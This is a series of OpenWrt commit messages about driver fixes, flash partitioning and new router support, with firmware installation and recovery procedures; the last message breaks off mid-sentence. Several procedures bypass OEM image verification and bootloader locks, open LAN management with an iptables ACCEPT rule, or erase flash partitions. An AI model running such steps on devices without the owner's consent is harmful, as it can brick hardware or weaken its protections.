71450535f164 mt76: mt7921: enable hw offloading for wep keys
833d577e430c mt76: mt7921: remove mt7921_get_wtbl_info routine
67b7a22d2b99 mt76: mt7921: enable random mac address during sched_scan
cf1ff7bf4f1b mt76: mt7915: setup drr group for peers
ef2f7aa8745f mt76: mt7615: update radar parameters
b9f09f530223 mt76: mt7915: fix MT_EE_CAL_GROUP_SIZE
22b690334c0f mt76: mt7915: do not fail if the cooling device could not be registered
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 3c46ba053d)
Don't bail out from init script in case the GPS device is missing.
Some modems take time to come up, and some people may use things like
'kplex' to feed ugpsd. Hence it is better to always start ugpsd
unconditionally and let procd's respawn take care of retrying.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit 3d026d2425)
86ee86e nmea: parse $GPZDA sentences for date/time
8e12414 nmea: parse $GPGLL sentences for position
5e88403 ubus: display only available information
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit 3a8b75b569)
Mark uci, ubus, libubox, lua, libnl-tiny and libjson-c
as nonshared packages. This helps to keep coherent dependencies
if these ABI versioned packages are later updated.
Before this commit it is possible to get missing dependencies
in target-specific nonshared packages (like iwinfo) that depend
on these shared ABI versioned packages. If these are later updated
and rebuilt, only the new ABI version will be available for download,
while the target-specific packages in releases continue to depend on
the old ABI version.
After this commit the packages are built along the other nonshared
packages by the phase1 images buildbot and will be available at the
target/ download directories instead of packages/base dir. That will
help to keep a coherent set available.
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
(cherry picked from commit 72cc44958e)
We recently switched from freenode.net to oftc.net, reflect that in the
README and update the links.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 5a66165cb1)
The routing packages feed moved from `openwrt-routing/packages` to
`openwrt/routing`, reflect that in the README.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 0371f40193)
Since few months multiple users reported problems with various JBoot
devices. [0][1][2][3] All of them was bricked.
On my Lava LR-25G001 it freezes with current snapshot:
CDW57CAM_003 Jboot B695
Giga Switch AR8327 init
AR8327/AR8337 id ==> 0x1302
JRecovery Version R1.2 2014/04/01 18:25
SPI FLASH: MX25l12805d 16M
.
.
(freeze)
The kernel size is >2048k.
I built current master with minimal config and it boots well:
CDW57CAM_003 Jboot B695
Giga Switch AR8327 init
AR8327/AR8337 id ==> 0x1302
JRecovery Version R1.2 2014/04/01 18:25
SPI FLASH: MX25l12805d 16M
.
...........................
Starting kernel @80000000...
[ 0.000000] Linux version 5.4.124
Kernel size is <2048k.
Jboot bootloader isn't open source, so it's impossible to find
solution in code. It looks, that some buffer for kernel have 2MB size.
To avoid bricked devices, this commit introduces 2048k limit kernel
size for all jboot routers.
[0] https://bugs.openwrt.org/index.php?do=details&task_id=3539
[1] https://eko.one.pl/forum/viewtopic.php?pid=254344
[2] https://eko.one.pl/forum/viewtopic.php?id=20930
[3] https://eko.one.pl/forum/viewtopic.php?pid=241376#p241376
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[remove Fixes:]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit e1d8a14cd0)
The default trigger for the amber lights on lan1 and lan3 were
mistakenly swapped after the device's migration to DSA. This
caused activity on one port to trigger the amber light on the
other port. Swapping their default trigger in the DTS file
fixes that.
Signed-off-by: Adam Elyas <adamelyas@outlook.com>
[minor commit title adjustment, wrap commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit edaf432bf4)
Set the ethernet address from flash.
MAC addresses as verified by OEM firmware:
use interface source
2g wlan0 factory 0x04 (label)
LAN eth0.1 factory 0x28 (label+1)
WAN eth0.2 factory 0x2e (label+2)
Fixes: 671c9d16e3 ("ramips: add support for HILINK HLK-7628N")
Signed-off-by: Liu Yu <f78fk@live.com>
[drop old MAC address setup from 02_network, cut out state_default
changes, face-lift commit message, add Fixes:]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit ae9c5cd37b)
This replaces the register bits for RGMII delay on the MAC side in favor
of having the RGMII delay on the PHY side by setting the phy-mode
property to rgmii-id (RGMII internal delay), which is supported by the
at803x driver. Speed 1000 is fixed as a result, so now all ethernet
speeds function.
Signed-off-by: Jonathan A. Kollasch <jakllsch@kollasch.net>
Reviewed-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit f36990eae7)
This fixes a small regression where the lzma-loader variable values
are being shared between boards that require different configurations.
If not set to "" globally, a device without these settings will just take
the last values another device has set before in the queue.
Fixes: 1b8bd17c2d ("ath79: lzma-loader: allow setting custom kernel magic")
Signed-off-by: Michael Pratt <mcpratt@pm.me>
[add detailed explanation to the commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit bf8c16dfa2)
pcie0 is the same for this generation of Senao APs
while eth0, eth1, and wmac can differ
the qca,no-eeprom property has no effect
for the ath10k drivers
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit 15c599c9df)
use qca955x_senao_loader.dtsi
because it is the same hardware / partitioning
and some cleanup
Effects:
nodes to match similar boards
- keys
- eth0
- pcie0
bumps SPI frequency to 40 MHz
removes &pll node:
the property is defined in qca955x.dtsi
removes qca,no-eeprom:
has no effect with mtd-cal-data property
(also spelling)
Tested-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit e800da9d5c)
This device is a Senao-based product
using hardware and software from Senao
with the tar-gz platform for factory.bin
and checksum verification at boot time
using variables stored in uboot environment
and a 'failsafe' image when it fails.
Extremely similar hardware/software to Engenius EAP1200H
and other Engenius APs with qca955x
Tested-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit 37ea5d9a65)
Use a similar upgrade method for sysupgrade.bin, like factory.bin,
for Senao boards with the tar.gz OEM upgrade platform,
and 'failsafe' image which is loaded on checksum failure.
This is inspired by the OEM upgrade script /etc/fwupgrade.sh
and the existing platforms for dual-boot Senao boards.
Previously, if the real kernel was damaged or missing
the only way to recover was with UART serial console,
because the OKLI lzma-loader is programmed to halt.
uboot did not detect cases where kernel or rootfs is damaged
and boots OKLI instead of the failsafe image,
because the checksums stored in uboot environment
did not include the real kernel and rootfs space.
Now, the stored checksums include the space for both
the lzma-loader, kernel, and rootfs.
Therefore, these boards are now practically unbrickable.
Also, the factory.bin and sysupgrade.bin are now the same,
except for image metadata.
This allows for flashing OEM image directly from openwrt
as well as flashing openwrt image directly from OEM.
Make 'loader' partition writable so that it can be updated
during a sysupgrade.
tested with
ENS202EXT v1
EAP1200H
EAP350 v1
EAP600
ECB350 v1
ECB600
ENH202 v1
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit d5035f0d26)
ath79/tiny kernel config has
CONFIG_MTD_SPI_NOR_USE_4K_SECTORS=y
from commit
05d35403b2
Because of this, these changes are required for 2 reasons:
1.
Senao devices in ath79/tiny
with a 'failsafe' partition and the tar.gz sysupgrade platform
and a flash chip that supports 4k sectors
will fail to reboot to openwrt after a sysupgrade.
the stored checksum is made with the 64k blocksize length
of the image to be flashed,
and the actual checksum changes after flashing due to JFFS2 space
being formatted within the length of the rootfs from the image
example:
0x440000 length of kernel + rootfs (from sysupgrade.bin)
0x439000 offset of rootfs_data (from kernel log)
2.
for boards with flash chips that support 4k sectors:
saving configuration over sysupgrade is not possible
because sysupgrade.tgz is appended at a 64k boundary
and the mtd parser starts JFFS2 at a 4k boundary.
for boards with flash chips that do not support 4k sectors:
partitioning with 4k boundaries causes a boot loop
from the mtd parser not finding kernel and rootfs.
Also:
Some of the Senao boards that belong in ath79/tiny,
for example ENH202,
have a flash chip that does not support 4k sectors
(no SECT_4K symbol in upstream source).
Because of this, partitioning must be different for these devices
depending on the flash chip model detected by the kernel.
Therefore:
this creates 2 DTSI files
to replace the single one with 64k partitioning
for 4k and 64k partitioning respectively.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit a58cb22bbe)
By using the same custom kernel header magic
in both OKLI lzma-loader, DTS, and makefile
this hack is not necessary anymore
However, "rootfs" size and checksum
must now be supplied by the factory.bin image
through a script that is accepted by the OEM upgrade script.
This is because Senao OEM scripts assume a squashfs header exists
at the offset for the original "rootfs" partition
which is actually the kernel + rootfs in this implementation,
and takes size value from the header that would be there with hexdump,
but this offset is now the uImage header instead.
This frees up 1 eraseblock
previously used by the "fakeroot" partition
for bypassing the OEM image verification.
Also, these Senao devices with a 'failsafe' partition
and the tar-gz factory.bin platform would otherwise require
flashing the new tar-gz sysupgrade.bin afterward.
So this also prevents having to flash both images
when starting from OEM or 'failsafe'
the OEM upgrade script verifies the header magic numbers,
but only the first two bytes.
Example:
[ "${magic_word_kernel}" = "2705" ] &&
[ "${magic_word_rootfs}" = "7371" -o "${magic_word_rootfs}" = "6873" ] &&
errcode="0"
therefore picked the magic number
0x73714f4b
which is
'sqOK'
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit 4a0cc5d4ef)
...and max flash offset
The mtdsplit parser was recently refactored
to allow the kernel to have custom image header magic.
Let's also do this for the lzma-loader
For example:
When implemented together,
this allows the kernel to "appear" to be a rootfs
by OEM software in order to write an image
that is actually kernel + rootfs.
At the same time,
it would boot to openwrt normally
by setting the same magic in DTS.
Both of the variables
have a default value that is unchanged
when not defined in the makefiles
This has no effect on the size of the loader
when lzma compressed.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit 1b8bd17c2d)
This creates a shared DTSI for qca955x Senao/Engenius APs with
concatenated firmware partition/okli loader:
- EAP1200H
- EnstationAC v1
To make this usable for future boards with 32 MB flash as well,
split the partitions node already.
Suggested-by: Michael Pratt <mcpratt@pm.me>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 9b37db5caa)
This creates a shared DTSI for ar934x Senao/Engenius APs:
- EAP300 v2
- ENS202EXT v1
- EAP600
- ECB600
Since ar9341/ar9344 have different configuration, this new file
mostly contains the partitioning.
Suggested-by: Michael Pratt <mcpratt@pm.me>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit ce8b535ed3)
This creates a shared DTSI for ar724x Senao/Engenius APs:
- ENH202 v1
- EAP350 v1
- ECB350 v1
Since ar7240/ar7242 have different configuration, this new file
mostly contains the partitioning.
Suggested-by: Michael Pratt <mcpratt@pm.me>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 4204d70d7a)
These recipes and definitions can apply
to devices from other vendors
with PCB boards or SDK produced by Senao
not only the brand Engenius
possible examples:
Extreme Networks, WatchGuard, OpenMesh,
Fortinet, ALLNET, OCEDO, Plasma Cloud, devolo, etc.
so rename all of these items
and move DEVICE_VENDOR from common to generic/tiny.mk
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit 70bf4a979c)
The SERCOMM NA502 is a smart home gateway manufactured by SERCOMM and sold
under different brands (among others, A1 Telekom Austria SmartHome
Gateway). It has multi-protocol radio support in addition to LAN and WiFi.
Note: BLE is currently unsupported.
Specifications
--------------
- MT7621ST 880MHz, Single-Core, Dual-Thread
- MT7603EN 2.4GHz WiFi
- MT7662EN 5GHz WiFi + BLE
- 128MiB NAND
- 256MiB DDR3 RAM
- SD3503 ZWave Controller
- EM357 Zigbee Coordinator
MAC address assignment
----------------------
LAN MAC is read from the config partition, WiFi 2.4GHz is LAN+2 and matches
the OEM firmware. WiFi 5GHz with LAN+1 is an educated guess since the
OEM firmware does not enable 5GHz WiFi.
Installation
------------
Attach serial console, then boot the initramfs image via TFTP.
Once inside OpenWrt, run sysupgrade -n with the sysupgrade file.
Attention: The device has a dual-firmware design. We overwrite kernel2,
since kernel1 contains an automatic recovery image.
If you get NAND ECC errors and are stuck with bad eraseblocks, try to
erase the mtd partition first with
mtd unlock ubi
mtd erase ubi
This should only be needed once.
Signed-off-by: Andreas Böhler <dev@aboehler.at>
[use kiB for IMAGE_SIZE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit a3d8c1295e)
Specifications:
- SoC: MT7621AT
- RAM: 256MB
- Flash: 128MB NAND
- Ethernet: 5 Gigabit ports
- WiFi: 2.4G/5G MT7615N
- USB: 1 USB 3.0, 1 USB 2.0
This device is very similar to the EA7300 v1/v2 and EA7500 v2.
Installation:
Upload the generated factory image through the factory web interface.
(following part taken from EA7300 v2 commit message:)
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
With thanks to Leon Poon (@LeonPoon) for the initial bringup.
Signed-off-by: Tee Hao Wei <angelsl@in04.sg>
[add missing entry in 10_fix_wifi_mac]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit b232680f84)
Amped Wireless ALLY is a whole-home WiFi kit, with a router (model
ALLY-R1900K) and an Extender (model ALLY-00X19K). Both are devices are
11ac and based on MediaTek MT7621AT and MT7615N chips. The units are
nearly identical, except the Extender lacks a USB port and has a single
Ethernet port.
Specification:
- SoC: MediaTek MT7621AT (2C/4T) @ 880MHz
- RAM: 128MB DDR3 (Nanya NT5CC64M16GP-DI)
- FLASH: 128MB NAND (Winbond W29N01GVSIAA)
- WiFi: 2.4/5 GHz 4T4R
- 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
- Switch: SoC integrated Gigabit Switch
- USB: 1x USB3 (Router only)
- BTN: Reset, WPS
- LED: single RGB
- UART: through-hole on PCB.
J1: pin1 (square pad, towards rear)=3.3V, pin2=RX,
pin3=GND, pin4=TX. Settings: 57600/8N1.
Note regarding dual system partitions
-------------------------------------
The vendor firmware and boot loader use a dual partition scheme. The boot
partition is decided by the bootImage U-boot environment variable: 0 for
the 1st partition, 1 for the 2nd.
OpenWrt does not support this scheme and will always use the first OS
partition. It will set bootImage to 0 during installation, making sure
the first partition is selected by the boot loader.
Also, because we can't be sure which partition is active to begin with, a
2-step flash process is used. We first flash an initramfs image, then
follow with a regular sysupgrade.
Installation:
Router (ALLY-R1900K)
1) Install the flashable initramfs image via the OEM web-interface.
(Alternatively, you can use the TFTP recovery method below.)
You can use WiFi or Ethernet.
The direct URL is: http://192.168.3.1/07_06_00_firmware.html
a. No login is needed, and you'll be in their setup wizard.
b. You might get a warning about not being connected to the Internet.
c. Towards the bottom of the page will be a section entitled "Or
Manually Upgrade Firmware from a File:" where you can manually choose
and upload a firmware file.
d: Click "Choose File", select the OpenWRT "initramfs" image and click
"Upload."
2) The Router will flash the OpenWrt initramfs image and reboot. After
booting, LuCI will be available on 192.168.1.1.
3) Log into LuCI as root; there is no password.
4) Optional (but recommended) is to backup the OEM firmware before
continuing; see process below.
5) Complete the Installation by flashing a full OpenWRT image. Note:
you may use the sysupgrade command line tool in lieu of the UI if
you prefer.
a. Choose System -> Backup/Flash Firmware.
b. Click "Flash Image..." under "Flash new firmware image"
c. Click "Browse..." and then select the sysupgrade file.
d. Click Upload to upload the sysupgrade file.
e. Important: uncheck "Keep settings and retain the current
configuration" for this initial installation.
f. Click "Continue" to flash the firmware.
g. The device will reboot and OpenWRT is installed.
Extender (ALLY-00X19K)
1) This device requires a TFTP recovery procedure to do an initial load
of OpenWRT. Start by configuring a computer as a TFTP client:
a. Install a TFTP client (server not necessary)
b. Configure an Ethernet interface to 192.168.1.x/24; don't use .1 or .6
c. Connect the Ethernet to the sole Ethernet port on the X19K.
2) Put the ALLY Extender in TFTP recovery mode.
a. Do this by pressing and holding the reset button on the bottom while
connecting the power.
b. As soon as the LED lights up green (roughly 2-3 seconds), release
the button.
3) Start the TFTP transfer of the Initramfs image from your setup machine.
For example, from Linux:
tftp -v -m binary 192.168.1.6 69 -c put initramfs.bin
4) The Extender will flash the OpenWrt initramfs image and reboot. After
booting, LuCI will be available on 192.168.1.1.
5) Log into LuCI as root; there is no password.
6) Optional (but recommended) is to backup the OEM firmware before
continuing; see process below.
7) Complete the Installation by flashing a full OpenWRT image. Note: you
may use the sysupgrade command line tool in lieu of the UI if you prefer.
a. Choose System -> Backup/Flash Firmware.
b. Click "Flash Image..." under "Flash new firmware image"
c. Click "Browse..." and then select the sysupgrade file.
d. Click Upload to upload the sysupgrade file.
e. Important: uncheck "Keep settings and retain the current
configuration" for this initial installation.
f. Click "Continue" to flash the firmware.
g. The device will reboot and OpenWRT is installed.
Backup the OEM Firmware:
-----------------------
There isn't any downloadable firmware for the ALLY devices on the Amped
Wireless web site. Reverting back to the OEM firmware is not possible
unless we have a backup of the original OEM firmware.
The OEM firmware may be stored on either /dev/mtd3 ("firmware") or
/dev/mtd6 ("oem"). We can't be sure which was overwritten with the
initramfs image, so backup both partitions to be safe.
1) Once logged into LuCI, navigate to System -> Backup/Flash Firmware.
2) Under "Save mtdblock contents," first select "firmware" and click
"Save mtdblock" to download the image.
3) Repeat the process, but select "oem" from the pull-down menu.
Revert to the OEM Firmware:
--------------------------
* U-boot TFTP:
Follow the TFTP recovery steps for the Extender, and use the
backup image.
* OpenWrt "Flash Firmware" interface:
Upload the backup image and select "Force update"
before continuing.
Signed-off-by: Jonathan Sturges <jsturges@redhat.com>
(cherry picked from commit 6d23e474ad)
This submission relied heavily on the work of Linksys EA7300 v1/ v2.
Specifications:
* SoC: MediaTek MT7621A (880 MHz 2c/4t)
* RAM: 128M DDR3-1600
* Flash: 128M NAND
* Eth: MediaTek MT7621A (10/100/1000 Mbps x5)
* Radio: MT7603E/MT7613BE (2.4 GHz & 5 GHz)
* Antennae: 2 internal fixed in the casing and 2 on the PCB
* LEDs: Blue (x4 Ethernet)
Blue+Orange (x2 Power + WPS and Internet)
* Buttons: Reset (x1)
WPS (x1)
Installation:
Flash factory image through GUI.
This device has 2 partitions for the firmware called firmware and
alt_firmware. To successfully flash and boot the device, the device
should have been running from alt_firmware partition. To get the device
booted through alt_firmware partition, download the OEM firmware from
Linksys website and upgrade the firmware from web GUI. Once this is done,
flash the OpenWrt Factory firmware from web GUI.
Reverting to factory firmware:
1. Boot to 'alt_firmware'(where stock firmware resides) by doing one of
the following:
Press the "wps" button as soon as power LED turns on when booting.
(OR) Hard-reset the router consecutively three times to force it to
boot from 'alt_firmware'.
2. To remove any traces of OpenWRT from your router simply flash the OEM
image at this point.
Signed-off-by: Aashish Kulkarni <aashishkul@gmail.com>
[fix hanging indents and wrap to 74 characters per line,
add kmod-mt7663-firmware-sta package for 5GHz STA mode to work,
remove sysupgrade.bin and concatenate IMAGES instead in mt7621.mk,
set default-state "on" for power LED]
Signed-off-by: Sannihith Kinnera <digislayer@protonmail.com>
[move check-size before append-metadata, remove trailing whitespace]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Sannihith Kinnera <digislayer@protonmail.com>
(cherry picked from commit 251c995cbb)
Specifications
SoC: MT7621
CPU: 880 MHz
Flash: 16 MiB
RAM: 128 MiB
WLAN: 2.4 GHz b/g/n, 5 GHz a/n/ac
MT7603E / MT7615E
Ethernet: 5x Gbit ports
Installation
There are two known options:
1) The Luci-based UI.
2) Press and hold the reset button during power up.
The router will request 'recovery.bin' from a TFTP server at
192.168.1.88.
Both options require a signed firmware binary.
The openwrt image supplied by cudy is signed and can be used to
install unsigned images.
R4 & R5 need to be shorted (0-100Ω) for the UART to work.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[remove non-required switch-port node - remove trgmii phy-mode]
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit 3501db9b9b)
This patch adds support for TP-Link Archer C6U v1 (EU).
The device is also known in some market as Archer C6 v3.
This patch supports only Archer C6U v1 (EU).
Specifications:
--------------
* SoC: Mediatek MT7621AT 2C2T, 880MHz
* RAM: 128MB DDR3
* Flash: 16MB SPI NOR flash (Winbond 25Q128)
* WiFi 5GHz: Mediatek MT7613BEN (2x2:2)
* WiFi 2.4GHz: Mediatek MT7603EN (2x2:2)
* Ethernet: MT7630, 5x 1000Base-T.
* LED: Power, WAN, LAN, WiFi 2GHz and 5GHz, USB
* Buttons: Reset, WPS.
* UART: Serial console (115200 8n1), J1(GND:3)
* USB: One USB2 port.
Installation:
------------
Install the OpenWrt factory image for C6U is from the
TP-Link web interface.
1) Go to "Advanced/System Tools/Firmware Update".
2) Click "Browse" and upload the OpenWrt factory image:
openwrt-ramips-mt7621-tplink_archer-c6u-v1-squashfs-factory.bin.
3) Click the "Upgrade" button, and select "Yes" when prompted.
Recovery to stock firmware:
--------------------------
The C6U bootloader has a failsafe mode that provides a web
interface (running at 192.168.0.1) for reverting back to the
stock TP-Link firmware. The failsafe interface is triggered
from the serial console or on failed kernel boot. Unfortunately,
there's no key combination that enables the failsafe mode. This
gives us two options for recovery:
1) Recover using the serial console (J1 header).
The recovery interface can be selected by hitting 'x' when
prompted on boot.
2) Trigger the bootloader failsafe mode.
A more dangerous option is force the bootloader into
recovery mode by erasing the OpenWrt partition from the
OpenWrt's shell - e.g "mtd erase firmware". Please be
careful, since erasing the wrong partition can brick
your device.
MAC addresses:
-------------
OEM firmware configuration:
D8:07:B6:xx:xx:83 : 5G
D8:07:B6:xx:xx:84 : LAN (label)
D8:07:B6:xx:xx:84 : 2.4G
D8:07:B6:xx:xx:85 : WAN
Signed-off-by: Georgi Vlaev <georgi.vlaev@konsulko.com>
(cherry picked from commit a46ad596a3)
The patch adds support for the TP-Link Archer A6 v3
The router is sold in US and India with FCC ID TE7A6V3
Specification
-------------
MediaTek MT7621 SOC
RAM: 128MB DDR3
SPI Flash: W25Q128 (16MB)
Ethernet: MT7530 5x 1000Base-T
WiFi 5GHz: Mediatek MT7613BE
WiFi 2.4GHz: Mediatek MT7603E
UART/Serial: 115200 8n1
Device Configuration & Serial Port Pins
---------------------------------------
ETH Ports: LAN4 LAN3 LAN2 LAN1 WAN
_______________________
| |
Serial Pins: | VCC GND TXD RXD |
|_____________________|
LEDs: Power Wifi2G Wifi5G LAN WAN
Build Output
------------
The build will generate following set of files
[1] openwrt-ramips-mt7621-tplink_archer-a6-v3-initramfs-kernel.bin
[2] openwrt-ramips-mt7621-tplink_archer-a6-v3-squashfs-factory.bin
[3] openwrt-ramips-mt7621-tplink_archer-a6-v3-squashfs-sysupgrade.bin
How to Use - Flashing from TP-Link Web Interface
------------------------------------------------
* Go to "Advanced/System Tools/Firmware Update".
* Click "Browse" and upload the OpenWrt factory image: factory.bin[2]
* Click the "Upgrade" button, and select "Yes" when prompted.
TFTP Booting
------------
Setup a TFTP boot server with address 192.168.0.5.
While starting U-boot press '4' key to stop autoboot.
Copy the initramfs-kernel.bin[1] to TFTP server folder, rename as test.bin
From u-boot command prompt run tftpboot followed by bootm.
Recovery
--------
Archer A6 V3 has recovery page activated if SPI booting from flash fails.
Recovery page can be activated from serial console only.
Press 'x' while u-boot is starting
Note: TFTP boot can be activated only from u-boot serial console.
Device recovery address: 192.168.0.1
Thanks to: Frankis for Randmon MAC address fix.
Signed-off-by: Vinay Patil <post2vinay@gmail.com>
[remove superfluous factory image definition, whitespacing]
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit f8f8935adb)
The ZyXEL NR7101 is an 802.3at PoE powered 5G outdoor (IP68) CPE
with integrated directional 5G/LTE antennas.
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 256 MB
- Flash: 128 MB MB NAND (MX30LF1G18AC)
- WiFi: MediaTek MT7603E
- Switch: 1 LAN port (Gigabiti)
- 5G/LTE: Quectel RG502Q-EA connected by USB3 to SoC
- SIM: 2 micro-SIM slots under transparent cover
- Buttons: Reset, WLAN under same cover
- LEDs: Multicolour green/red/yellow under same cover (visible)
- Power: 802.3at PoE via LAN port
The device is built as an outdoor ethernet to 5G/LTE bridge or
router. The Wifi interface is intended for installation and/or
temporary management purposes only.
UART Serial:
57600N1
Located on populated 5 pin header J5:
[o] GND
[ ] key - no pin
[o] RX
[o] TX
[o] 3.3V Vcc
Remove the SIM/button/LED cover, the WLAN button and 12 screws
holding the back plate and antenna cover together. The GPS antenna
is fixed to the cover, so be careful with the cable. Remove 4
screws fixing the antenna board to the main board, again being
careful with the cables.
A bluetooth TTL adapter is recommended for permanent console
access, to keep the router water and dustproof. The 3.3V pin is
able to power such an adapter.
MAC addresses:
OpenWrt OEM Address Found as
lan eth2 08:26:97:*:*:BC Factory 0xe000 (hex), label
wlan0 ra0 08:26:97:*:*:BD Factory 0x4 (hex)
wwan0 usb0 random
WARNING!!
ISP managed firmware might at any time update itself to a version
where all known workarounds have been disabled. Never boot an ISP
managed firmware with a SIM in any of the slots if you intend to use
the router with OpenWrt. The bootloader lock can only be disabled with
root access to running firmware. The flash chip is physically
inaccessible without soldering.
Installation from OEM web GUI:
- Log in as "supervisor" on https://172.17.1.1/
- Upload OpenWrt initramfs-recovery.bin image on the
Maintenance -> Firmware page
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- (optional) Copy OpenWrt to the recovery partition. See below
- Sysupgrade to the OpenWrt sysupgrade image and reboot
Installation from OEM ssh:
- Log in as "root" on 172.17.1.1 port 22022
- scp OpenWrt initramfs-recovery.bin image to 172.17.1.1:/tmp
- Prepare bootloader config by running:
nvram setro uboot DebugFlag 0x1
nvram setro uboot CheckBypass 0
nvram commit
- Run "mtd_write -w write initramfs-recovery.bin Kernel" and reboot
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- (optional) Copy OpenWrt to the recovery partition. See below
- Sysupgrade to the OpenWrt sysupgrade image and reboot
Copying OpenWrt to the recovery partition:
- Verify that you are running a working OpenWrt recovery image
from flash
- ssh to root@192.168.1.1 and run:
fw_setenv CheckBypass 0
mtd -r erase Kernel2
- Wait while the bootloader mirrors Image1 to Image2
NOTE: This should only be done after successfully booting the OpenWrt
recovery image from the primary partition during installation. Do
not do this after having sysupgraded OpenWrt! Reinstalling the
recovery image on normal upgrades is not required or recommended.
Installation from Z-Loader:
- Halt boot by pressing Escape on console
- Set up a tftp server to serve the OpenWrt initramfs-recovery.bin
image at 10.10.10.3
- Type "ATNR 1,initramfs-recovery.bin" at the "ZLB>" prompt
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- Sysupgrade to the OpenWrt sysupgrade image
NOTE: ATNR will write the recovery image to both primary and recovery
partitions in one go.
Booting from RAM:
- Halt boot by pressing Escape on console
- Type "ATGU" at the "ZLB>" prompt to enter the U-Boot menu
- Press "4" to select "4: Entr boot command line interface."
- Set up a tftp server to serve the OpenWrt initramfs-recovery.bin
image at 10.10.10.3
- Load it using "tftpboot 0x88000000 initramfs-recovery.bin"
- Boot with "bootm 0x8800017C" to skip the 380 (0x17C) bytes ZyXEL
header
This method can also be used to RAM boot OEM firmware. The warning
regarding OEM applies! Never boot an unknown OEM firmware, or any OEM
firmware with a SIM in any slot.
NOTE: U-Boot configuration is incomplete (on some devices?). You may
have to configure a working mac address before running tftp using
"setenv eth0addr <mac>"
Unlocking the bootloader:
If you are unebale to halt boot, then the bootloader is locked.
The OEM firmware locks the bootloader on every boot by setting
DebugFlag to 0. Setting it to 1 is therefore only temporary
when OEM firmware is installed.
- Run "nvram setro uboot DebugFlag 0x1; nvram commit" in OEM firmware
- Run "fw_setenv DebugFlag 0x1" in OpenWrt
NOTE:
OpenWrt does this automatically on first boot if necessary
NOTE2:
Setting the flag to 0x1 avoids the reset to 0 in known OEM
versions, but this might change.
WARNING:
Writing anything to flash while the bootloader is locked is
considered extremely risky. Errors might cause a permanent
brick!
Enabling management access from LAN:
Temporary workaround to allow installing OpenWrt if OEM firmware
has disabled LAN management:
- Connect to console
- Log in as "root"
- Run "iptables -I INPUT -i br0 -j ACCEPT"
Notes on the OEM/bootloader dual partition scheme
The dual partition scheme on this device uses Image2 as a recovery
image only. The device will always boot from Image1, but the
bootloader might copy Image2 to Image1 under specific conditions. This
scheme prevents repurposing of the space occupied by Image2 in any
useful way.
Validation of primary and recovery images is controlled by the
variables CheckBypass, Image1Stable, and Image1Try.
The bootloader sets CheckBypass to 0 and reboots if Image1 fails
validation.
If CheckBypass is 0 and Image1 is invalid then Image2 is copied to
Image1.
If CheckBypass is 0 and Image2 is invalid, then Image1 is copied to
Image2.
If CheckBypass is 1 then all tests are skipped and Image1 is booted
unconditionally. CheckBypass is set to 1 after each successful
validation of Image1.
Image1Try is incremented if Image1Stable is 0, and Image2 is copied to
Image1 if Image1Try is 3 or larger. But the bootloader only tests
Image1Try if CheckBypass is 0, which is impossible unless the booted
image sets it to 0 before failing.
The system is therefore not resilient against runtime errors like
failure to mount the rootfs, unless the kernel image sets CheckBypass
to 0 before failing. This is not yet implemented in OpenWrt.
Setting Image1Stable to 1 prevents the bootloader from updating
Image1Try on every boot, saving unnecessary writes to the environment
partition.
Keeping an OpenWrt initramfs recovery as Image2 is recommended
primarily to avoid unwanted OEM firmware boots on failure. Ref the
warning above. It enables console-less recovery in case of some
failures to boot from Image1.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Tested-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit 2449a63208)
The ZyXEL NR7101 prepend an additional header to U-Boot images. This
header use the TRX magic 0x30524448 (HDR0), but is incompatible with
TRX images.
This code is reverse-engineered based on matching 32 bit numbers
found in the header with lengths and different checksum
calculations of the vendor images found on the device. The result
was matched against the validation output produced by the
bootloader to name the associated header fields.
Example bootloader validation output:
